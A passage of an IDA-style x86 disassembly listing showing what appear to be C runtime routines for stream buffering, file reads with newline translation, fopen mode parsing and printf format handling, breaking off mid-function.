		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h

loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC700
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC600h[eax*4]
		mov	eax, dword_4DC600[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2690DF2h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB2A8, 9
		mov	dword_4DB2AC, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8

loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------

loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------

loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh

loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE

loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------

loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_41F285
		call	near ptr 2690DF2h
		nop
		test	eax, eax
		jnz	short loc_41F2CC

loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7

loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------

loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0

loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh

loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi

loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------

loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al

loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------

loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh

loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB494
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------

loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------

loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h

loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2

loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx

loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458

loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E

loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------

loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB490
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5E0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB5C8
		mov	edi, ebx

loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------

loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------

loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB5C8
		mov	[edi+ecx], eax
		mov	eax, dword_4DB5C8
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi

loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C328
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------

loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C328
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------

loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------

loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA38
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA58
		jnz	short loc_41F5F5

loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC

loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx

loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------

loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------

loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C980

loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch

loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------

loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------

loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------

loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh

loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------

loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------

loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax

loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump

loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax

loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------

loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx

loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C328	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8

loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh

loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C544
		mov	[ebp+var_8], ecx

loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------

loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

